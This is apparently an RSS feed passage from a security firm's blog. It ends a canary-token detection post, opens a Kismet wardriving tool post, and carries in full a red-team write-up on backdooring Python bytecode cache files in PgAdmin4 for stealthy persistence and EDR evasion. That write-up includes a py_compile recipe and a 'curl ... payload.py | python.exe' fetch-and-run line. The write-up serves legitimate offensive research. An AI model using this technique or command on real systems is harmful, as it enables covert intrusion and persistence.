&lt;img src=&#34;canary_2.png&#34;  alt=&#34;The Canary Tokens creation form. The domain of protected website is set to the FQDN of the login/SSO portal. The Mail me here when the alert fires field is set to an example email address. The Remind me of this when the alert fires is set to &amp;#39;Orgname Login Portal (production)&amp;#39;. The Notify me here when the alert fires webhook notification field is set to the Logic App webhook URL retrieved in Step 1.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;


&lt;p&gt;A. Enter the FQDN of the web resource to which the canary token will be added (e.g., login[.]your-organization[.]org). If multiple FQDNs require coverage, create a unique token per domain - reusing a token across domains will cause it to trigger on every visit to the second domain.&lt;/p&gt;
&lt;p&gt;B. Enter an email address to receive alerts and manage the token.&lt;/p&gt;
&lt;p&gt;C. Provide a descriptive label for the token to differentiate it in logs and alerts.&lt;/p&gt;
&lt;p&gt;D. Paste the Logic App trigger URL. When the referrer domain does not match the expected domain from step A, a payload containing request details is sent to the webhook.&lt;/p&gt;
&lt;p&gt;After completing the form, click &amp;ldquo;Create Canarytoken.&amp;rdquo; You will receive a CSS snippet to paste into the HTML or branding configuration of your web page or login portal. When this image is loaded from a non-matching referrer domain, the canary token webhook triggers and the event is logged in Sentinel.&lt;/p&gt;

&lt;img src=&#34;canary_3.png&#34;  alt=&#34;Confirmation page reading &amp;#39;Your CSS cloned website Canarytoken is active!&amp;#39;. It shows a CSS snippet setting the body background to an image on AWS CloudFront and includes links for additional documentation.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;


&lt;p&gt;Optionally, email notifications for canary token triggers can be disabled if relying solely on Sentinel alerts via webhook ingestion.&lt;/p&gt;

&lt;img src=&#34;canary_4.png&#34;  alt=&#34;The dialog to manage tokens within the Canary Tokens portal highlighting the &amp;#39;Email alerts&amp;#39; setting, which is toggled to &amp;#39;off&amp;#39;&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;


&lt;hr&gt;
&lt;h1 id=&#34;detection&#34;&gt;Detection&lt;/h1&gt;
&lt;p&gt;Once deployed, Canary Token triggers will send a payload via webhook to the Logic App, logging the payload in the Sentinel Log Analytics Workspace. The analytic rule will create an incident in Sentinel.&lt;/p&gt;
&lt;h2 id=&#34;logic-app-workflow-run&#34;&gt;Logic App Workflow Run&lt;/h2&gt;

&lt;img src=&#34;detection_1.png&#34;  alt=&#34;A screenshot of the Logic App run history &amp;#39;Compose Log Payload&amp;#39; step, which shows that the Canary Token payload details like Channel, Token Type, Source IP address, token ID, memo, and additional IP information are present.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;


&lt;h2 id=&#34;sentinel-log-asim-normalized&#34;&gt;Sentinel Log (ASIM normalized)&lt;/h2&gt;

&lt;img src=&#34;detection_2.png&#34;  alt=&#34;A screenshot of Microsoft Sentinel&amp;#39;s log view, showing a parsed Canary Token log with normalized field names.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;


&lt;h2 id=&#34;sentinel-alertincident&#34;&gt;Sentinel Alert/Incident&lt;/h2&gt;

&lt;img src=&#34;detection_3.png&#34;  alt=&#34;A sample Microsoft Sentinel alert for Canary Token Interaction. It includes entities for the domain and URL associated with the potential adversary infrastructure and (redacted) source IP address.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;



&lt;img src=&#34;detection_4.png&#34;  alt=&#34;A close-up screenshot of the description and entity information of the incident shown in the previous screenshot.&#34;  class=&#34;center&#34;  style=&#34;border-radius: 10px; margin-bottom: 1em;&#34;    /&gt;


&lt;hr&gt;
&lt;p&gt;While phishing-resistant MFA remains the strongest defense against AitM attacks, deception can add valuable detection coverage when broader protections are still being rolled out. Integrating canary token hits into Microsoft Sentinel via Azure Logic Apps helps security teams strengthen defense-in-depth with earlier visibility and actionable alerts.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Abusing PYTHONPYCACHEPREFIX</title>
      <link>https://labs.sra.io/posts/pythonpycacheprefix/</link>
      <pubDate>Tue, 02 Jun 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/pythonpycacheprefix/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;
&lt;p&gt;Using high-level languages for code execution and persistence has become a fairly popular trend as of late. I&amp;rsquo;m reminded of &lt;a href=&#34;https://trustedsec.com/blog/operating-inside-the-interpreted-offensive-python&#34; target=&#34;_blank&#34;&gt;this post&lt;/a&gt; from TrustedSec talking about exactly this. The author discusses how to install Python to a Windows system and provides an overview of what kind of capabilities are available, including how to use &lt;code&gt;ctypes&lt;/code&gt; for running unmanaged code. Commercial offensive tooling vendors like &lt;a href=&#34;https://x.com/BallisKit/status/1848398358164971999&#34; target=&#34;_blank&#34;&gt;Balliskit&lt;/a&gt; support Python payloads, and there are even full C2 implants built with it (&lt;a href=&#34;https://github.com/MythicAgents/Medusa&#34; target=&#34;_blank&#34;&gt;Medusa&lt;/a&gt;, &lt;a href=&#34;https://github.com/naksyn/Pyramid&#34; target=&#34;_blank&#34;&gt;Pyramid&lt;/a&gt;, &lt;a href=&#34;https://github.com/nettitude/poshc2&#34; target=&#34;_blank&#34;&gt;PoshC2&lt;/a&gt;).&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;
&lt;p&gt;Using high-level languages for code execution and persistence has become a fairly popular trend as of late. I&amp;rsquo;m reminded of &lt;a href=&#34;https://trustedsec.com/blog/operating-inside-the-interpreted-offensive-python&#34; target=&#34;_blank&#34;&gt;this post&lt;/a&gt; from TrustedSec talking about exactly this. The author discusses how to install Python to a Windows system and provides an overview of what kind of capabilities are available, including how to use &lt;code&gt;ctypes&lt;/code&gt; for running unmanaged code. Commercial offensive tooling vendors like &lt;a href=&#34;https://x.com/BallisKit/status/1848398358164971999&#34; target=&#34;_blank&#34;&gt;Balliskit&lt;/a&gt; support Python payloads, and there are even full C2 implants built with it (&lt;a href=&#34;https://github.com/MythicAgents/Medusa&#34; target=&#34;_blank&#34;&gt;Medusa&lt;/a&gt;, &lt;a href=&#34;https://github.com/naksyn/Pyramid&#34; target=&#34;_blank&#34;&gt;Pyramid&lt;/a&gt;, &lt;a href=&#34;https://github.com/nettitude/poshc2&#34; target=&#34;_blank&#34;&gt;PoshC2&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;However, running PowerShell to install Python or even dropping arbitrary Python files to disk can be a risky endeavor within a well-hardened environment. We can do better.&lt;/p&gt;
&lt;h1 id=&#34;lotl&#34;&gt;LOTL&lt;/h1&gt;
&lt;p&gt;A few years back, I was performing a red team engagement against an exceptionally well-hardened environment. They&amp;rsquo;re a client we&amp;rsquo;ve worked with for a long time, and they&amp;rsquo;ve taken all of our recommendations very seriously. Much to their benefit, and the loss of my sanity, the end user workstations had become about as well hardened as any reasonable enterprise could achieve. Tuned EDR, full allowlisting via WDAC, the works. Desperate and racking my brain for something novel, I started going through the applications available within the company portal. After pulling PgAdmin4 and looking through the assets that get installed, I noticed that a portable Python runtime was included.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;pgadmin4.png&#34;  alt=&#34;A portal Python runtime&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;This alone is a huge boon when fighting against EDR: executing directly from a trusted process in a trusted location. But we still need a means to actually load a payload. We could drop a file to disk and execute, but static file analysis very well may get you caught. You could obfuscate, but then you&amp;rsquo;ve got to deal with entropy checks. You could also just invoke Python directly, dynamically loading the payload a la &lt;code&gt;curl https://example.com/payload.py | .\python.exe&lt;/code&gt;. This obviously has all kinds of drawbacks related to cmd/PowerShell telemetry.&lt;/p&gt;
&lt;h1 id=&#34;pythonpycacheprefix&#34;&gt;PYTHONPYCACHEPREFIX&lt;/h1&gt;
&lt;p&gt;The Python3 runtime can be controlled in a number of ways, primarily through command line arguments and environment variables. You can find them documented &lt;a href=&#34;https://docs.python.org/3/using/cmdline.html&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;. As the title suggests, we&amp;rsquo;ll be looking at the &lt;code&gt;PYTHONPYCACHEPREFIX&lt;/code&gt; environment variable. From the docs:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If this is set, Python will write &lt;code&gt;.pyc&lt;/code&gt; files in a mirror directory tree at this path, instead of in &lt;code&gt;__pycache__&lt;/code&gt; directories within the source tree. This is equivalent to specifying the -X &lt;code&gt;pycache_prefix=PATH&lt;/code&gt; option.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Lets set this var to something we have write-access to. In this case: an AppData subdirectory.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;env_var.png&#34;  alt=&#34;Setting the PYTHONPYCACHEPREFIX env var&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;When launching the app, you&amp;rsquo;ll see a number of new directories and &lt;code&gt;.pyc&lt;/code&gt; files have been created.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;cache_files_0.png&#34;  alt=&#34;Cache files created&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;



  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;cache_files_1.png&#34;  alt=&#34;Cache files created&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;


&lt;h1 id=&#34;generating-python-bytecode&#34;&gt;Generating Python Bytecode&lt;/h1&gt;
&lt;p&gt;Now we have a primitive for obtaining write-access to a trusted process&amp;rsquo;s files. The next step is to weaponize it. This will involve backdooring the &lt;code&gt;.pyc&lt;/code&gt; files themselves. These files can be dynamically created by using the &lt;code&gt;py_compile&lt;/code&gt; native module (docs &lt;a href=&#34;https://docs.python.org/3/library/py_compile.html#&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;). Importantly, as we&amp;rsquo;re compiling to bytecode, the Python release we&amp;rsquo;re using to generate these files needs to exactly match the environment we&amp;rsquo;re targetting. For PgAdmin4 v9.11.1, this is Python 3.13.9.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re not familiar with Python, the &lt;code&gt;___init.py___&lt;/code&gt; file is a special initialization file that&amp;rsquo;s invoked when a package is imported. Given its ubiquitous use, this makes it a great backdoor candidate. For our POC, we&amp;rsquo;re going to create a simple canary file:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-py&#34; data-lang=&#34;py&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;with&lt;/span&gt; open(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;C:/Temp/canary.txt&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;w&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    f&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;write(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;chirp&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can then compile this into a &lt;code&gt;.pyc&lt;/code&gt; file with the following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-py&#34; data-lang=&#34;py&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;from&lt;/span&gt; py_compile &lt;span style=&#34;color:#f92672&#34;&gt;import&lt;/span&gt; compile, PycInvalidationMode
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;infile &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;C:/Users/titan/Desktop/example.py&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;outfile &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;C:/Users/titan/Desktop/__init__.pyc&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;compile(infile, cfile&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;outfile, invalidation_mode&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;PycInvalidationMode&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;UNCHECKED_HASH)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;An important bit here is the &lt;code&gt;PycInvalidationMode.UNCHECKED_HASH&lt;/code&gt; invalidation mode. This tells the Python runtime to always respect the cache file, even if the original &lt;code&gt;.py&lt;/code&gt; file has been modified. This ensures the malicious &lt;code&gt;.pyc&lt;/code&gt; persists. Now if we drop this file into the cache directory and reload the PgAdmin4 app, the canary file will be created. This will cause the app to just crash, but that&amp;rsquo;s not surprising.&lt;/p&gt;
&lt;p&gt;Fully weaponizing this is fairly trivial. All we have to do is grab the original &lt;code&gt;___init__.py&lt;/code&gt; file, add our malicious code, and recompile. To target the &lt;code&gt;pycache/Program Files/pgAdmin 4/web/pgadmin/__init__.cpython-313.pyc&lt;/code&gt; cache file, we can pull the original from &lt;code&gt;C:/Program Files/pgAdmin 4/web/pgadmin/__init__.py&lt;/code&gt;. Drop your malicious code right after the &lt;code&gt;import&lt;/code&gt; statements, recompile, drop to disk, et voilà: you now have an implant executing within the context of the parent PgAdmin4 process.&lt;/p&gt;
&lt;h1 id=&#34;a-note-on-pgadmin4-v9112&#34;&gt;A Note on PgAdmin4 v9.11.2+&lt;/h1&gt;
&lt;p&gt;I&amp;rsquo;ve used this technique across several engagements at this point; it&amp;rsquo;s a surprisingly common app to find within a company portal. However, when going to write this blog, I noticed that PgAdmin4 no longer writes the bytecode files to the expected location. This seems to have started with v9.11.2, which released in Feb 2026. The previous version, v9.11.1, and all other versions I&amp;rsquo;ve tried this against, work as intended. Discussing with a coworker, it appears this &lt;a href=&#34;https://github.com/pgadmin-org/pgadmin4/commit/6000cc0fb40971a9dd36c47e1eeb3b9bb6f7d2a3#diff-a44253f1e401f8e72af47caf141650994eedac28838375600d23abf3e812aa5aR233-R234&#34; target=&#34;_blank&#34;&gt;commit&lt;/a&gt; introduced a &amp;ldquo;macOS fix&amp;rdquo; which disables bytecode generation. Ironically enough, this was enabled by using a different Python env var: &lt;code&gt;PYTHONDONTWRITEBYTECODE&lt;/code&gt;. We can confirm this by pulling up the server log:&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;pythondontwritebytecode.png&#34;  alt=&#34;PYTHONDONTWRITEBYTECODE enabled&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
  &lt;/figure&gt;


&lt;p&gt;But not all hope is lost. As the env var name suggests, this only disables &lt;em&gt;writing&lt;/em&gt; bytecode and not &lt;em&gt;reading&lt;/em&gt; bytecode. To verify this, I modified &lt;code&gt;C:/Program Files/pgAdmin 4/runtime/resources/app/src/js/pgadmin.js&lt;/code&gt;, commenting out the &lt;code&gt;process.env.PYTHONDONTWRITEBYTECODE = &#39;1&#39;;&lt;/code&gt; line. Restarting the app generated the bytecode, and I created the same &lt;code&gt;___init__.cpython-313.pyc&lt;/code&gt; POC as before. After restoring the &lt;code&gt;PYTHONDONTWRITEBYTECODE&lt;/code&gt; env var and restarting the app, the canary file was successfully created.&lt;/p&gt;
&lt;p&gt;On a live engagement, you won&amp;rsquo;t be able to modify the &lt;code&gt;pgadmin.js&lt;/code&gt; file to entice the bytecode generation. However, you could do this on a machine you control and then push all the cache files onto the target machine. You could also opt to only drop the single malicious &lt;code&gt;.pyc&lt;/code&gt; file. An EDR likely won&amp;rsquo;t care whether there is a single &lt;code&gt;.pyc&lt;/code&gt; or an entire directory tree&amp;rsquo;s worth, but this may stand out to an adept incident response team.&lt;/p&gt;
&lt;h1 id=&#34;on-other-applications&#34;&gt;On Other Applications&lt;/h1&gt;
&lt;p&gt;To be clear: this primitive is not specific to PgAdmin4. Any application that bundles or otherwise invokes a Python runtime from a user context could be exploited this way. A cursory glance shows that Sublime Text and GIMP use Python for plugin support. Alternatively, a Python developer and all their tooling could be targetted this way, including JupyterLabs Desktop. As long as the target cache file maps to a file that is regularly executed by the user, it can be used as a means of peristence.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>PacketHuffer: Making Sense of Kismet Data</title>
      <link>https://labs.sra.io/posts/packethuffer/</link>
      <pubDate>Tue, 26 May 2026 12:00:00 +0000</pubDate>
      
      <guid>https://labs.sra.io/posts/packethuffer/</guid>
      <description>&lt;h1 id=&#34;background&#34;&gt;Background&lt;/h1&gt;
&lt;p&gt;&lt;a href=&#34;https://www.kismetwireless.net/&#34; target=&#34;_blank&#34;&gt;Kismet&lt;/a&gt; is a widely-used tool for wireless reconnaissance and other RF information gathering. Wireless reconnaissance, or wardriving, is a key part of wireless engagements during which operators survey the wireless networks and devices in a given area. Kismet is used to easily ingest data from multiple sources (WiFi, BLE, GPS) and identify potentially vulnerable networks and interesting devices.&lt;/p&gt;
&lt;p&gt;Kismet provides output in the form of KismetDB &lt;code&gt;.kismet&lt;/code&gt; files, which are SQLite databases.&lt;/p&gt;</description>
      <content>&lt;h1 id=&#34;background&#34;&gt;Background&lt;/h1&gt;
&lt;p&gt;&lt;a href=&#34;https://www.kismetwireless.net/&#34; target=&#34;_blank&#34;&gt;Kismet&lt;/a&gt; is a widely-used tool for wireless reconnaissance and other RF information gathering. Wireless reconnaissance, or wardriving, is a key part of wireless engagements during which operators survey the wireless networks and devices in a given area. Kismet is used to easily ingest data from multiple sources (WiFi, BLE, GPS) and identify potentially vulnerable networks and interesting devices.&lt;/p&gt;
&lt;p&gt;Kismet provides output in the form of KismetDB &lt;code&gt;.kismet&lt;/code&gt; files, which are SQLite databases.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;kismetdb-sqlite.png&#34;  alt=&#34;KismetDB SQLite File&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Viewing a KismetDB file using DB Browser for SQLite.&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;There are limited tools available to easily pull out Access Points (APs) from these files, and things get especially tricky when dealing with large batches of captures. Enter &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/packethuffer&#34; target=&#34;_blank&#34;&gt;&lt;em&gt;PacketHuffer&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id=&#34;packethuffer&#34;&gt;PacketHuffer&lt;/h1&gt;
&lt;p&gt;The primary motivations of &lt;a href=&#34;https://github.com/SecurityRiskAdvisors/packethuffer&#34; target=&#34;_blank&#34;&gt;PacketHuffer&lt;/a&gt; are to ease the struggle of dealing with multiple Kismet captures, implement out of the box rules/detections for items of interest a-la BloodHound, and add flexibility for the easy viewing and analysis of wireless recon data. PacketHuffer takes information from batches of kismet files, extracts the wireless devices, and provides a de-duplicated/concise view of identified networks. The tool has both a CLI and Web GUI, and allows for JSON and XLSX data exports.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;viewing-data.png&#34;  alt=&#34;Network Data in the PacketHuffer GUI&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Viewing a KismetDB file using the PacketHuffer GUI.&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;The GUI displays a single record per SSID and aggregates information from all supplied Kismet files. In addition to the data provided by Kismet, PacketHuffer performs analysis to provide columns such as &lt;code&gt;mfp_status&lt;/code&gt; and &lt;code&gt;is_enterprise&lt;/code&gt;. These columns provide additional insight based on the Kismet data to make querying and filtering the data easier.  For example, &lt;code&gt;mfp_status&lt;/code&gt;, which indicates whether protected management frames are required for a network in a distinct column, is derived from Kismet&amp;rsquo;s &lt;code&gt;dot11.advertisedssid.wpa_mfp_required&lt;/code&gt; and &lt;code&gt;dot11.advertisedssid.wpa_mfp_supported&lt;/code&gt; attributes.&lt;/p&gt;

  &lt;figure class=&#34;center&#34; &gt;
    &lt;img src=&#34;cli.png&#34;  alt=&#34;PacketHuffer CLI Use&#34;   style=&#34;border-radius: 8px;&#34;  /&gt;
    
      &lt;figcaption class=&#34;center&#34; &gt;Processing Kismet files using the PacketHuffer CLI.&lt;/figcaption&gt;
    
  &lt;/figure&gt;


&lt;p&gt;Sample anonymized JSON output:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SSID&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DIKomLAG78&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;af8oiic6bv&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;B10MKwloKl&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;crypt_string&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;open&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;wpa2 wpa2-eap aes-ccmp&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;open&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;mfp_status&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Disabled&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Disabled&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Disabled&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;is_wpa2&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;is_psk&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;[SNIPPED]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;rules&#34;&gt;Rules&lt;/h2&gt;
&lt;p&gt;A main focus of the tool is the ability to use YAML defined rules and custom queries to identify interesting networks, providing operators with an intuitive UI for Kismet data. PacketHuffer rules consist of a condition and guidance. Networks that meet the criteria for a given rule will have information added to the &lt;code&gt;guidance&lt;/code&gt; column.&lt;/p&gt;
